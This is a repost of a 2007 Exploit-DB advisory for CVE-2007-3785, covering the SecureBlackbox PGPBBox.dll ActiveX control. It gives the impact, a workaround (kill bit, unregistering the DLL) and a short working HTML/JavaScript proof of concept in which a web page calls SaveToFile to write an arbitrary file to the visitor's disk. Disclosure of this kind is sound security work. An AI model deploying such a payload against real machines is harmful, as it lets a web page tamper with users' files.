Exploit SecureBlackbox 'PGPBBox.dll 5.1.0.112' - Arbitrary Data Write

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
4176
Проверка EDB
  1. Пройдено
Автор
CALLAX
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2007-3785
Дата публикации
2007-07-12
HTML:
:. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

PGPBBox.dll 5.1.0.112 SecureBlackbox Arbitary Data Write Exploit.
================================================================

Test in patched XP SP2 IE 6.0/7.0 and Vista IE 7.0
==================================================

Internal ID: VULWAR200707121.

Introduction
------------
PGPBBox.dll is a library included in the SecureBlackbox
software package from the Eldos Company http://www.eldos.com/

Tested In
---------
- Windows XP SP2 english/french with IE 6.0 / 7.0.
- Windows vista Professional English/French SP1 with IE 7.0

Summary
-------
The SaveToFile method doesn't check if it's is being called from the application, 
or malicious users. Remote Attacker could craft a html page and write arbitrary
data.

Impact
------
Any computer that uses this Sofware will be exposed to Data Write Arbitrary.

Workaround
----------
- Activate the Kill bit zero in clsid: C22BB435-9B7F-4B1F-ACBD-CD36D34D6DFF.
- Unregister PGPBBox.dll using regsvr32.


Timeline
--------
July 12, 2007 -- Bug discovery.
July 12, 2007 -- Bug published.


Credits
-------
 * callAX <[email protected]
 * GoodFellas Security Research Team <goodfellas.shellcode.com.ar>



Technical Details
-----------------

SaveToFile method receives one argument filename in this format "c:\path\file".


Proof of Concept
----------------

<HTML>
<BODY>
  <object id=ctrl classid="clsid:{C22BB435-9B7F-4B1F-ACBD-CD36D34D6DFF}"></object>
                           
<SCRIPT>

function Poc()
 {
    arg2="c:\\arbitrary_file.txt"
    ctrl.SaveToFile(arg2)
 }

</SCRIPT>
<input language=JavaScript onclick=Poc() type=button value="Proof of Concept">
</BODY>
</HTML>

# milw0rm.com [2007-07-12]
 
Источник
www.exploit-db.com

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